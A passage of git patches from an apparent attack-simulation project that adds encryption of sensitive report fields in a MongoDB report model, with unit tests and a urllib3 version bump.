a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 50dec3f95..f99444210 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -7,3 +7,4 @@ from .creds import Creds # noqa: F401, E402 from .monkey import Monkey # noqa: F401, E402 from .monkey_ttl import MonkeyTtl # noqa: F401, E402 from .pba_results import PbaResults # noqa: F401, E402 +from .report import Report # noqa: F401, E402 diff --git a/monkey/monkey_island/cc/models/report.py b/monkey/monkey_island/cc/models/report.py new file mode 100644 index 000000000..74b68e0be --- /dev/null +++ b/monkey/monkey_island/cc/models/report.py @@ -0,0 +1,31 @@ +from __future__ import annotations + +from mongoengine import DictField, Document + +from monkey_island.cc.models.utils import report_encryptor + + +class Report(Document): + + overview = DictField(required=True) + glance = DictField(required=True) + recommendations = DictField(required=True) + meta_info = DictField(required=True) + + meta = {"strict": False} + + @staticmethod + def save_report(report_dict: dict): + report_dict = report_encryptor.encrypt(report_dict) + Report.objects.delete() + Report( + overview=report_dict["overview"], + glance=report_dict["glance"], + recommendations=report_dict["recommendations"], + meta_info=report_dict["meta_info"], + ).save() + + @staticmethod + def get_report() -> dict: + report_dict = Report.objects.first().to_mongo() + return report_encryptor.decrypt(report_dict) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py new file mode 100644 index 000000000..b719f95a5 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py @@ -0,0 +1,32 @@ +import pytest + +from monkey_island.cc.models import Report +from monkey_island.cc.models.utils.field_types.string_list import StringList +from monkey_island.cc.models.utils.report_encryptor import SensitiveField +from monkey_island.cc.server_utils.encryptor import initialize_encryptor + +MOCK_SENSITIVE_FIELD_CONTENTS = ["the_string", "the_string2"] +MOCK_REPORT_DICT = { + "overview": {"foo": {"the_key": MOCK_SENSITIVE_FIELD_CONTENTS, "other_key": "other_value"}}, + "glance": {"foo": "bar"}, + "recommendations": {"foo": "bar"}, + "meta_info": {"foo": "bar"}, +} + +MOCK_SENSITIVE_FIELDS = [SensitiveField("overview.foo.the_key", StringList)] + + +@pytest.mark.usefixtures("uses_database") +def test_report_encryption(monkeypatch, data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) + + monkeypatch.setattr( + "monkey_island.cc.models.utils.report_encryptor.sensitive_fields", MOCK_SENSITIVE_FIELDS + ) + Report.save_report(MOCK_REPORT_DICT) + assert not Report.objects.first()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS + assert ( + not Report.objects.first()["overview"]["foo"]["the_key"][1] + == MOCK_SENSITIVE_FIELD_CONTENTS[1] + ) + assert Report.get_report()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS diff --git a/vulture_allowlist.py b/vulture_allowlist.py index bd6d53c36..905cc74ad 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -3,7 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real dead or is kept deliberately. Referencing these in a file like this makes sure that Vulture doesn't mark these as dead again. """ - +from monkey_island.cc.models import Report fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -176,6 +176,12 @@ import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 exception_stream # unused attribute (monkey_island/cc/server_setup.py:104) ADVANCED # unused attribute (monkey/monkey_island/cc/services/mode/mode_enum.py:6:) +Report.overview +Report.recommendations +Report.glance +Report.meta_info +Report.meta +Report.save_report # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From ea7a75df26cbcc9b96babdc423d6671ea06baacc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 21 Sep 2021 10:43:34 +0300 Subject: [PATCH 183/454] Add infrastructure for encrypting fields in database. --- .../utils/field_types/field_type_abc.py | 14 ++++++ .../models/utils/field_types/string_list.py | 14 ++++++ .../cc/models/utils/report_encryptor.py | 48 +++++++++++++++++++ .../encryption/string_encryptor.py | 9 ++++ 4 files changed, 85 insertions(+) create mode 100644 monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py create mode 100644 monkey/monkey_island/cc/models/utils/field_types/string_list.py create mode 100644 monkey/monkey_island/cc/models/utils/report_encryptor.py create mode 100644 monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py diff --git a/monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py b/monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py new file mode 100644 index 000000000..c2d87ff92 --- /dev/null +++ b/monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py @@ -0,0 +1,14 @@ +from abc import ABC, abstractmethod +from typing import Any + + +class FieldTypeABC(ABC): + @staticmethod + @abstractmethod + def encrypt(value: Any): + raise NotImplementedError() + + @staticmethod + @abstractmethod + def decrypt(value: Any): + raise NotImplementedError() diff --git a/monkey/monkey_island/cc/models/utils/field_types/string_list.py b/monkey/monkey_island/cc/models/utils/field_types/string_list.py new file mode 100644 index 000000000..39e8888e7 --- /dev/null +++ b/monkey/monkey_island/cc/models/utils/field_types/string_list.py @@ -0,0 +1,14 @@ +from typing import List + +from monkey_island.cc.models.utils.field_types.field_type_abc import FieldTypeABC +from monkey_island.cc.server_utils.encryption import string_encryptor + + +class StringList(FieldTypeABC): + @staticmethod + def encrypt(value: List[str]): + return [string_encryptor.encrypt(string) for string in value] + + @staticmethod + def decrypt(value: List[str]): + return [string_encryptor.decrypt(string) for string in value] diff --git a/monkey/monkey_island/cc/models/utils/report_encryptor.py b/monkey/monkey_island/cc/models/utils/report_encryptor.py new file mode 100644 index 000000000..93f8bdd03 --- /dev/null +++ b/monkey/monkey_island/cc/models/utils/report_encryptor.py @@ -0,0 +1,48 @@ +from dataclasses import dataclass +from typing import Callable, Type + +import dpath.util + +from monkey_island.cc.models.utils.field_types.field_type_abc import FieldTypeABC +from monkey_island.cc.models.utils.field_types.string_list import StringList + + +@dataclass +class SensitiveField: + path: str + path_separator = "." + field_type: Type[FieldTypeABC] + + +sensitive_fields = [SensitiveField(path="overview.config_passwords", field_type=StringList)] + + +def encrypt(report: dict) -> dict: + for sensitive_field in sensitive_fields: + _apply_operation_to_report_field( + report, sensitive_field, sensitive_field.field_type.encrypt + ) + + return report + + +def decrypt(report: dict) -> dict: + for sensitive_field in sensitive_fields: + _apply_operation_to_report_field( + report, sensitive_field, sensitive_field.field_type.decrypt + ) + return report + + +def _apply_operation_to_report_field( + report: dict, sensitive_field: SensitiveField, operation: Callable +): + field_value = dpath.util.get(report, sensitive_field.path, sensitive_field.path_separator, None) + if field_value is None: + raise Exception( + f"Can't encrypt object because the path {sensitive_field.path} doesn't exist." + ) + + modified_value = operation(field_value) + + dpath.util.set(report, sensitive_field.path, modified_value, sensitive_field.path_separator) diff --git a/monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py new file mode 100644 index 000000000..64bde517c --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py @@ -0,0 +1,9 @@ +from monkey_island.cc.server_utils.encryptor import get_encryptor + + +def encrypt(cleartext: str) -> str: + return get_encryptor().enc(cleartext) + + +def decrypt(cyphertext: str) -> str: + return get_encryptor().dec(cyphertext) From 5077d84269d25c1f02811c8f59648a4a02f9d4c5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 21 Sep 2021 10:45:39 +0300 Subject: [PATCH 184/454] Change report service to use report model. Because report saving/fetching happens through model, model can encrypt/decrypt sensitive data --- .../cc/services/reporting/report.py | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index b9f8f6a47..19ef128e1 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -16,7 +16,7 @@ from common.config_value_paths import ( from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo -from monkey_island.cc.models import Monkey +from monkey_island.cc.models import Monkey, Report from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import ( get_config_network_segments_as_subnet_groups, @@ -633,12 +633,11 @@ class ReportService: "strong_users": PTHReportService.get_strong_users_on_crit_details(), }, "recommendations": {"issues": issues, "domain_issues": domain_issues}, - "meta": {"latest_monkey_modifytime": monkey_latest_modify_time}, + "meta_info": {"latest_monkey_modifytime": monkey_latest_modify_time}, } ReportExporterManager().export(report) - mongo.db.report.drop() - mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report)) - + report = ReportService.encode_dot_char_before_mongo_insert(report) + Report.save_report(report) return report @staticmethod @@ -685,10 +684,10 @@ class ReportService: :return: True if report is the latest one, False if there isn't a report or its not the latest. """ - latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime": 1}) + latest_report_doc = mongo.db.report.find_one({}, {"meta_info.latest_monkey_modifytime": 1}) if latest_report_doc: - report_latest_modifytime = latest_report_doc["meta"]["latest_monkey_modifytime"] + report_latest_modifytime = latest_report_doc["meta_info"]["latest_monkey_modifytime"] latest_monkey_modifytime = Monkey.get_latest_modifytime() return report_latest_modifytime == latest_monkey_modifytime @@ -717,6 +716,7 @@ class ReportService: @staticmethod def get_report(): - if ReportService.is_latest_report_exists(): - return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) - return safe_generate_regular_report() + if not ReportService.is_latest_report_exists(): + return safe_generate_regular_report() + + return ReportService.decode_dot_char_before_mongo_insert(Report.get_report()) From 13ba0b9091dd106d0c8018c0dd8ea841d0a22a03 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Sep 2021 12:28:57 -0400 Subject: [PATCH 185/454] Island: Rename FieldType to FieldEncryptor * Switch FieldTypeABC from abstract class to interface, since there's no intention of ever implementing FieldTypeABC's methods. * Rename FieldTypeABC to IFieldEncryptor and rename StringList to StringListEncryptor. --- .../field_encryptors/i_field_encryptor.py | 24 +++++++++++++++++++ .../string_list_encryptor.py} | 4 ++-- .../utils/field_types/field_type_abc.py | 14 ----------- .../cc/models/utils/report_encryptor.py | 10 ++++---- .../cc/models/test_report_model.py | 4 ++-- 5 files changed, 34 insertions(+), 22 deletions(-) create mode 100644 monkey/monkey_island/cc/models/utils/field_encryptors/i_field_encryptor.py rename monkey/monkey_island/cc/models/utils/{field_types/string_list.py => field_encryptors/string_list_encryptor.py} (71%) delete mode 100644 monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/i_field_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/i_field_encryptor.py new file mode 100644 index 000000000..6a675bf4d --- /dev/null +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/i_field_encryptor.py @@ -0,0 +1,24 @@ +from abc import ABC, abstractmethod +from typing import Any + + +class IFieldEncryptor(ABC): + @staticmethod + @abstractmethod + def encrypt(value: Any) -> Any: + """Encrypts data and returns the ciphertext. + + :param value: Data that will be encrypted + :return: Ciphertext generated by encrypting value + :rtype: Any + """ + + @staticmethod + @abstractmethod + def decrypt(value: Any): + """Decrypts data and returns the plaintext. + + :param value: Ciphertext that will be decrypted + :return: Plaintext generated by decrypting value + :rtype: Any + """ diff --git a/monkey/monkey_island/cc/models/utils/field_types/string_list.py b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py similarity index 71% rename from monkey/monkey_island/cc/models/utils/field_types/string_list.py rename to monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py index 39e8888e7..4c3fce7ee 100644 --- a/monkey/monkey_island/cc/models/utils/field_types/string_list.py +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py @@ -1,10 +1,10 @@ from typing import List -from monkey_island.cc.models.utils.field_types.field_type_abc import FieldTypeABC +from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor from monkey_island.cc.server_utils.encryption import string_encryptor -class StringList(FieldTypeABC): +class StringListEncryptor(IFieldEncryptor): @staticmethod def encrypt(value: List[str]): return [string_encryptor.encrypt(string) for string in value] diff --git a/monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py b/monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py deleted file mode 100644 index c2d87ff92..000000000 --- a/monkey/monkey_island/cc/models/utils/field_types/field_type_abc.py +++ /dev/null @@ -1,14 +0,0 @@ -from abc import ABC, abstractmethod -from typing import Any - - -class FieldTypeABC(ABC): - @staticmethod - @abstractmethod - def encrypt(value: Any): - raise NotImplementedError() - - @staticmethod - @abstractmethod - def decrypt(value: Any): - raise NotImplementedError() diff --git a/monkey/monkey_island/cc/models/utils/report_encryptor.py b/monkey/monkey_island/cc/models/utils/report_encryptor.py index 93f8bdd03..d5e31f4d8 100644 --- a/monkey/monkey_island/cc/models/utils/report_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/report_encryptor.py @@ -3,18 +3,20 @@ from typing import Callable, Type import dpath.util -from monkey_island.cc.models.utils.field_types.field_type_abc import FieldTypeABC -from monkey_island.cc.models.utils.field_types.string_list import StringList +from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor +from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor @dataclass class SensitiveField: path: str path_separator = "." - field_type: Type[FieldTypeABC] + field_type: Type[IFieldEncryptor] -sensitive_fields = [SensitiveField(path="overview.config_passwords", field_type=StringList)] +sensitive_fields = [ + SensitiveField(path="overview.config_passwords", field_type=StringListEncryptor) +] def encrypt(report: dict) -> dict: diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py index b719f95a5..6eedb33b8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py @@ -1,7 +1,7 @@ import pytest from monkey_island.cc.models import Report -from monkey_island.cc.models.utils.field_types.string_list import StringList +from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor from monkey_island.cc.models.utils.report_encryptor import SensitiveField from monkey_island.cc.server_utils.encryptor import initialize_encryptor @@ -13,7 +13,7 @@ MOCK_REPORT_DICT = { "meta_info": {"foo": "bar"}, } -MOCK_SENSITIVE_FIELDS = [SensitiveField("overview.foo.the_key", StringList)] +MOCK_SENSITIVE_FIELDS = [SensitiveField("overview.foo.the_key", StringListEncryptor)] @pytest.mark.usefixtures("uses_database") From f662369a07ae3c55d67edc1b5b7577d356418627 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Sep 2021 12:51:55 -0400 Subject: [PATCH 186/454] Tests: Decouple test_report_model.py from StringListEncryptor --- .../cc/models/test_report_model.py | 34 +++++++++++++------ 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py index 6eedb33b8..1b1e9ed07 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py @@ -1,9 +1,10 @@ +from typing import List + import pytest from monkey_island.cc.models import Report -from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor +from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor from monkey_island.cc.models.utils.report_encryptor import SensitiveField -from monkey_island.cc.server_utils.encryptor import initialize_encryptor MOCK_SENSITIVE_FIELD_CONTENTS = ["the_string", "the_string2"] MOCK_REPORT_DICT = { @@ -13,20 +14,33 @@ MOCK_REPORT_DICT = { "meta_info": {"foo": "bar"}, } -MOCK_SENSITIVE_FIELDS = [SensitiveField("overview.foo.the_key", StringListEncryptor)] + +class MockFieldEncryptor(IFieldEncryptor): + plaintext = [] + + @staticmethod + def encrypt(value: List[str]) -> List[str]: + return [MockFieldEncryptor._encrypt(v) for v in value] + + @staticmethod + def _encrypt(value: str) -> str: + MockFieldEncryptor.plaintext.append(value) + return str(len(MockFieldEncryptor.plaintext) - 1) + + @staticmethod + def decrypt(value: List[str]) -> List[str]: + return [MockFieldEncryptor.plaintext[int(v)] for v in value] + + +MOCK_SENSITIVE_FIELDS = [SensitiveField("overview.foo.the_key", MockFieldEncryptor)] @pytest.mark.usefixtures("uses_database") def test_report_encryption(monkeypatch, data_for_tests_dir): - initialize_encryptor(data_for_tests_dir) - monkeypatch.setattr( "monkey_island.cc.models.utils.report_encryptor.sensitive_fields", MOCK_SENSITIVE_FIELDS ) Report.save_report(MOCK_REPORT_DICT) - assert not Report.objects.first()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS - assert ( - not Report.objects.first()["overview"]["foo"]["the_key"][1] - == MOCK_SENSITIVE_FIELD_CONTENTS[1] - ) + + assert Report.objects.first()["overview"]["foo"]["the_key"] == ["0", "1"] assert Report.get_report()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS From 2ddd369afdc982c4d4f8d7a7170bb6255a3bfb6a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Sep 2021 13:43:52 -0400 Subject: [PATCH 187/454] Island: Move encode/decode dot mongo functions to Report model --- monkey/monkey_island/cc/models/report.py | 24 ++++++++++++++++- .../cc/services/reporting/report.py | 25 +----------------- .../cc/models/test_report_model.py | 26 +++++++++++++++---- 3 files changed, 45 insertions(+), 30 deletions(-) diff --git a/monkey/monkey_island/cc/models/report.py b/monkey/monkey_island/cc/models/report.py index 74b68e0be..4158a5244 100644 --- a/monkey/monkey_island/cc/models/report.py +++ b/monkey/monkey_island/cc/models/report.py @@ -1,5 +1,6 @@ from __future__ import annotations +from bson import json_util from mongoengine import DictField, Document from monkey_island.cc.models.utils import report_encryptor @@ -16,6 +17,7 @@ class Report(Document): @staticmethod def save_report(report_dict: dict): + report_dict = _encode_dot_char_before_mongo_insert(report_dict) report_dict = report_encryptor.encrypt(report_dict) Report.objects.delete() Report( @@ -28,4 +30,24 @@ class Report(Document): @staticmethod def get_report() -> dict: report_dict = Report.objects.first().to_mongo() - return report_encryptor.decrypt(report_dict) + return _decode_dot_char_before_mongo_insert(report_encryptor.decrypt(report_dict)) + + +def _encode_dot_char_before_mongo_insert(report_dict): + """ + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' + char with the unicode + ,,, combo instead. + :return: dict with formatted keys with no dots. + """ + report_as_json = json_util.dumps(report_dict).replace(".", ",,,") + return json_util.loads(report_as_json) + + +def _decode_dot_char_before_mongo_insert(report_dict): + """ + this function replaces the ',,,' combo with the '.' char instead. + :return: report dict with formatted keys (',,,' -> '.') + """ + report_as_json = json_util.dumps(report_dict).replace(",,,", ".") + return json_util.loads(report_as_json) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 19ef128e1..7d14d4f4a 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -4,8 +4,6 @@ import itertools import logging from typing import List -from bson import json_util - from common.config_value_paths import ( EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH, @@ -636,7 +634,6 @@ class ReportService: "meta_info": {"latest_monkey_modifytime": monkey_latest_modify_time}, } ReportExporterManager().export(report) - report = ReportService.encode_dot_char_before_mongo_insert(report) Report.save_report(report) return report @@ -666,17 +663,6 @@ class ReportService: logger.info("Issues generated for reporting") return issues_dict - @staticmethod - def encode_dot_char_before_mongo_insert(report_dict): - """ - mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' - char with the unicode - ,,, combo instead. - :return: dict with formatted keys with no dots. - """ - report_as_json = json_util.dumps(report_dict).replace(".", ",,,") - return json_util.loads(report_as_json) - @staticmethod def is_latest_report_exists(): """ @@ -705,18 +691,9 @@ class ReportService: "Report cache not cleared. DeleteResult: " + delete_result.raw_result ) - @staticmethod - def decode_dot_char_before_mongo_insert(report_dict): - """ - this function replaces the ',,,' combo with the '.' char instead. - :return: report dict with formatted keys (',,,' -> '.') - """ - report_as_json = json_util.dumps(report_dict).replace(",,,", ".") - return json_util.loads(report_as_json) - @staticmethod def get_report(): if not ReportService.is_latest_report_exists(): return safe_generate_regular_report() - return ReportService.decode_dot_char_before_mongo_insert(Report.get_report()) + return Report.get_report() diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py index 1b1e9ed07..f7e193e10 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py @@ -1,3 +1,4 @@ +import copy from typing import List import pytest @@ -32,15 +33,30 @@ class MockFieldEncryptor(IFieldEncryptor): return [MockFieldEncryptor.plaintext[int(v)] for v in value] -MOCK_SENSITIVE_FIELDS = [SensitiveField("overview.foo.the_key", MockFieldEncryptor)] +@pytest.fixture(autouse=True) +def patch_sensitive_fields(monkeypatch): + mock_sensitive_fields = [SensitiveField("overview.foo.the_key", MockFieldEncryptor)] + monkeypatch.setattr( + "monkey_island.cc.models.utils.report_encryptor.sensitive_fields", mock_sensitive_fields + ) @pytest.mark.usefixtures("uses_database") -def test_report_encryption(monkeypatch, data_for_tests_dir): - monkeypatch.setattr( - "monkey_island.cc.models.utils.report_encryptor.sensitive_fields", MOCK_SENSITIVE_FIELDS - ) +def test_report_encryption(data_for_tests_dir): Report.save_report(MOCK_REPORT_DICT) assert Report.objects.first()["overview"]["foo"]["the_key"] == ["0", "1"] assert Report.get_report()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS + + +@pytest.mark.usefixtures("uses_database") +def test_report_dot_encoding(data_for_tests_dir): + mrd = copy.deepcopy(MOCK_REPORT_DICT) + mrd["meta_info"] = {"foo.bar": "baz"} + Report.save_report(mrd) + + assert "foo.bar" not in Report.objects.first()["meta_info"] + assert "foo,,,bar" in Report.objects.first()["meta_info"] + + report = Report.get_report() + assert "foo.bar" in report["meta_info"] From 627a31c902a2a34e07591acd94b3de7f18c32df1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Sep 2021 13:56:19 -0400 Subject: [PATCH 188/454] Island: Remove string_encryptor.py --- .../utils/field_encryptors/string_list_encryptor.py | 6 +++--- .../cc/server_utils/encryption/string_encryptor.py | 9 --------- 2 files changed, 3 insertions(+), 12 deletions(-) delete mode 100644 monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py index 4c3fce7ee..63801cf69 100644 --- a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py @@ -1,14 +1,14 @@ from typing import List from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.server_utils.encryption import string_encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor class StringListEncryptor(IFieldEncryptor): @staticmethod def encrypt(value: List[str]): - return [string_encryptor.encrypt(string) for string in value] + return [get_encryptor().enc(string) for string in value] @staticmethod def decrypt(value: List[str]): - return [string_encryptor.decrypt(string) for string in value] + return [get_encryptor().dec(string) for string in value] diff --git a/monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py deleted file mode 100644 index 64bde517c..000000000 --- a/monkey/monkey_island/cc/server_utils/encryption/string_encryptor.py +++ /dev/null @@ -1,9 +0,0 @@ -from monkey_island.cc.server_utils.encryptor import get_encryptor - - -def encrypt(cleartext: str) -> str: - return get_encryptor().enc(cleartext) - - -def decrypt(cyphertext: str) -> str: - return get_encryptor().dec(cyphertext) From a1c0af4257d985053e664daca4d5bd6868e53ff6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 Sep 2021 10:21:48 +0300 Subject: [PATCH 189/454] Improve readability and test empty list in test_report_model.py --- .../cc/models/test_report_model.py | 21 ++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py index f7e193e10..6ad1a78fb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py @@ -9,7 +9,10 @@ from monkey_island.cc.models.utils.report_encryptor import SensitiveField MOCK_SENSITIVE_FIELD_CONTENTS = ["the_string", "the_string2"] MOCK_REPORT_DICT = { - "overview": {"foo": {"the_key": MOCK_SENSITIVE_FIELD_CONTENTS, "other_key": "other_value"}}, + "overview": { + "foo": {"the_key": MOCK_SENSITIVE_FIELD_CONTENTS, "other_key": "other_value"}, + "bar": {"the_key": []}, + }, "glance": {"foo": "bar"}, "recommendations": {"foo": "bar"}, "meta_info": {"foo": "bar"}, @@ -26,31 +29,35 @@ class MockFieldEncryptor(IFieldEncryptor): @staticmethod def _encrypt(value: str) -> str: MockFieldEncryptor.plaintext.append(value) - return str(len(MockFieldEncryptor.plaintext) - 1) + return f"ENCRYPTED_{str(len(MockFieldEncryptor.plaintext) - 1)}" @staticmethod def decrypt(value: List[str]) -> List[str]: - return [MockFieldEncryptor.plaintext[int(v)] for v in value] + return MockFieldEncryptor.plaintext @pytest.fixture(autouse=True) def patch_sensitive_fields(monkeypatch): - mock_sensitive_fields = [SensitiveField("overview.foo.the_key", MockFieldEncryptor)] + mock_sensitive_fields = [ + SensitiveField("overview.foo.the_key", MockFieldEncryptor), + SensitiveField("overview.bar.the_key", MockFieldEncryptor), + ] monkeypatch.setattr( "monkey_island.cc.models.utils.report_encryptor.sensitive_fields", mock_sensitive_fields ) @pytest.mark.usefixtures("uses_database") -def test_report_encryption(data_for_tests_dir): +def test_report_encryption(): Report.save_report(MOCK_REPORT_DICT) - assert Report.objects.first()["overview"]["foo"]["the_key"] == ["0", "1"] + assert Report.objects.first()["overview"]["foo"]["the_key"] == ["ENCRYPTED_0", "ENCRYPTED_1"] + assert Report.objects.first()["overview"]["bar"]["the_key"] == [] assert Report.get_report()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS @pytest.mark.usefixtures("uses_database") -def test_report_dot_encoding(data_for_tests_dir): +def test_report_dot_encoding(): mrd = copy.deepcopy(MOCK_REPORT_DICT) mrd["meta_info"] = {"foo.bar": "baz"} Report.save_report(mrd) From 88f3a2b9ca9f14c1ca9a9286df0ff98e778aa131 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 Sep 2021 10:23:41 +0300 Subject: [PATCH 190/454] Add unit tests for string list encryptor --- .../test_string_list_encryptor.py | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py new file mode 100644 index 000000000..1417d0cbe --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -0,0 +1,24 @@ +import pytest + +from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor +from monkey_island.cc.server_utils.encryptor import initialize_encryptor + +MOCK_STRING_LIST = ["test_1", "test_2"] +EMPTY_LIST = [] + + +@pytest.fixture +def uses_encryptor(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) + + +def test_string_list_encryptor(uses_encryptor): + encrypted_list = StringListEncryptor.encrypt(MOCK_STRING_LIST) + assert not encrypted_list == MOCK_STRING_LIST + decrypted_list = StringListEncryptor.decrypt(encrypted_list) + assert decrypted_list == MOCK_STRING_LIST + + +def test_string_list_encryptor__empty_list(uses_encryptor): + encrypted_list = StringListEncryptor.encrypt(EMPTY_LIST) + StringListEncryptor.decrypt(encrypted_list) From 57bce38661be7ebf42d74e8c9da5bd37469afab5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 20 Sep 2021 18:23:55 +0200 Subject: [PATCH 191/454] Agent: Upgrade urllib3 to 1.26.5 It should work because all the deps are there. --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 56 ++++++---------------------- 2 files changed, 12 insertions(+), 46 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index da00a1fcb..9e9c774fc 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -23,7 +23,7 @@ pymssql = "==2.1.5" pypykatz = "==0.3.12" pysmb = "==1.2.5" requests = ">=2.24" -urllib3 = "==1.25.8" +urllib3 = "==1.26.5" simplejson = "*" "WinSys-3.x" = ">=0.5.2" WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} diff --git a/monkey/infection_monkey/Pipfile.lock 